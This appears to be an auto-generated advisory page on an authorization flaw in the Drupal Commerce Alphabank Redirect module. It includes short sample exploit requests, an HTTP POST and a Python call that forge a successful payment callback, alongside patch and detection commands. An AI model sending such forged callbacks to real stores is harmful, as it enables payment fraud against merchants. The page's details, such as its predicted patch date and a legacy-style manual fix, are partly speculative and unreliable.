Listen to this Post
How the CVE Works
The vulnerability arises due to improper authorization checks in the Drupal Commerce Alphabank Redirect module (versions < 1.0.3). Attackers can exploit this flaw to manipulate payment redirections, bypassing intended security controls. The module fails to validate user permissions correctly when processing transaction redirects, allowing unauthorized users to alter payment flows or intercept sensitive data. This misconfiguration enables attackers to force unintended redirects, potentially leading to financial fraud or session hijacking. The issue stems from insufficient server-side validation before executing payment gateway callbacks.
DailyCVE Form
Platform: Drupal Commerce
Version: < 1.0.3
Vulnerability: Incorrect Authorization
Severity: High
Date: Jun 11, 2025
Prediction: Patch expected by Jun 25, 2025
What Undercode Say:
Exploitation
1. Intercept Payment Flow:
POST /commerce-alphabank/callback HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded merchant_reference=INJECTED_ORDER&status=SUCCESS
2. Bypass Validation:
import requests
response = requests.post("http://target.com/commerce-alphabank/callback", data={"status":"PAID"})
Protection
1. Patch Immediately:
composer require drupal/commerce_alphabank:1.0.3
2. Manual Fix (Temporary):
// Override callback handler
if (!user_access('process payments')) {
throw new AccessDeniedHttpException();
}
3. Log Monitoring:
grep "commerce_alphabank" /var/log/drupal/error.log
Analytics
- Attack Vector: Network-based (HTTP)
- Privilege Escalation Risk: Medium
- Exploit Complexity: Low
- Mitigation Priority: Critical
Detection
drush pm-updatestatus | grep "commerce_alphabank"
References
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
